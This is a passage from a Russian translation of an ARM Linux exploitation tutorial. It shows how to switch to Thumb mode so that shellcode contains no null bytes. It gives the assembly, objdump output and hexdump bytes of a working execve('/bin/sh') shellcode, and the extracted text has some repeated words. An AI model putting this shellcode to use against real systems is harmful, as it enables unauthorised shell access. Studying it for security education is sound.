Переведено для codeby. Net


Download 0.92 Mb.
Pdf ko'rish
bet26/36
Sana09.05.2023
Hajmi0.92 Mb.
#1449564
TuriРеферат
1   ...   22   23   24   25   26   27   28   29   ...   36
Bog'liq
эксплуатация систем arm linux AFANX

5.2.2 Набор инструкций Thumb
До сих пор мы всегда использовали стандартный набор инструкций ARM, но
это не единственный набор инструкций, поддерживаемый этими процессорами.
Существует набор инструкций, который позволяет генерировать более
синтетический машинный код: набор инструкций Thumb(Более подробная
информация о наборе инструкций Thumb в "ARM Architecture Reference
Manual", стр. 496).
49


Набор инструкций Thumb является подмножеством набора инструкций ARM,
при этом каждая инструкция каждая инструкция кодируется в 16 битах вместо
32 бит. Thumb был разработан для обеспечения лучшей плотности кода. Это
именно то, что нам нужно: поскольку инструкции машинного кода инструкции
короче, маловероятно, что сгенерированный код будет содержать нулевые
байты. Чтобы запустить Thumb-код, находясь в режиме ARM, мы должны
использовать инструкцию:
bx
+1
Поскольку инструкции Thumb всегда выровнены по полуслову, bx использует
младший значащий бит адреса для понимания набора инструкций кода. Если
этот бит установлен в 1, процессор будет интерпретировать код как инструкции
Thumb.
Теперь мы можем модифицировать shell.s, чтобы использовать некоторые
инструкции thumb. Это окончательный ассемблерный код:
Алгоритм 6 Финальный код( внутри shell.s)
.global
operation
.type
operation, %function
operation:
eor
r1, r1
eor
r2, r2
add
r3, pc, #1
bx
r3
.thumb
thumbsnippet:
mov
r0, pc
add
r0, #4
mov
r7, #11
swi
#1
stringadr:
.ascii
"/bin/sh”
.L3:
.size
operation, .-operation
.align
2
.arm
...
Директивы ассемблера, используемые для изменения набора инструкций, - это
.thumb 
и
.arm. 
Мы использовали их до и после фрагмента кода
thumbsnippet.
50


Сначала проверим сгенерированный код objdump, после чего подробно
проанализируем шеллкод, поскольку в нем есть различные интересные
моменты…
root@armstation# gcc shell.s -o shell2
root@armstation# objdump -d shell2 | grep ":" -A 16
00008364 :
8364:
e0211001
eor r1, r1, r1
8368:
e0222002
eor r2, r2, r2
836c:
e28f3001
add r3, pc, #1 ; 0x1
8370:
e12fff13
bx r3
00008374 :
8374:
4678
mov r0, pc
8376:
3004
adds r0, #4
8378:
270b
movs r7, #11
837a:
df01
svc 1
0000837c :
837c:
622f
str r7, [r5, #32]
837e:
6e69
ldr r1, [r5, #100]
8380:
732f
strb r7, [r5, #12]
8382:
0068
lsls r0, r5, #1
root@armstation#
Первые две инструкции шеллкодов не представляют собой ничего нового. Мы
уже видели, что они используются для очистки регистров r1 и r2.
Сразу после этого (0x836c) шеллкод готовится изменить набор инструкций
набор инструкций. Сначала адрес программного счетчика (плюс один)
сохраняется в r3 (пока неиспользуемый). С помощью инструкции
bx r3
выполнение продолжается в режиме thumb режиме.
В начале
thumbsnippet 
адрес строки "/bin/sh" загружается косвенно в регистр
r0, используя программный счетчик (как мы уже как мы решили ранее).
Поскольку мы находимся в режиме thumb, мы использовали две отдельные
инструкции, вместо одной инструкции загрузки (например
,
ldr r0, [pc, #4]).
Для программного прерывания мы используем две инструкции (0x8376,
0x8378), так как мы находимся в режиме thub. Сначала мы загружаем в r7 номер
системного вызова execve. Затем мы генерируем прерывание.
51


Последняя часть шеллкода, хотя objdump и пытался дизассемблировать ее, это
просто строка "/bin/sh", завершающаяся нулевым байтом. Нам остается извлечь
шеллкод,
root@armstation# hexdump -C -s 0x0000364 -n 32 ./shell2
00000364 01 10 21 e0 02 20 22 e0 01 30 8f e2 13 ff 2f e1
|..!.. "..0..../.|
00000374 78 46 04 30 0b 27 01 df
|xF.0.’../bin/sh.|
00000384
root@armstation#
а затем протестировать его в "шаблонной" программе.

Download 0.92 Mb.

Do'stlaringiz bilan baham:
1   ...   22   23   24   25   26   27   28   29   ...   36




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling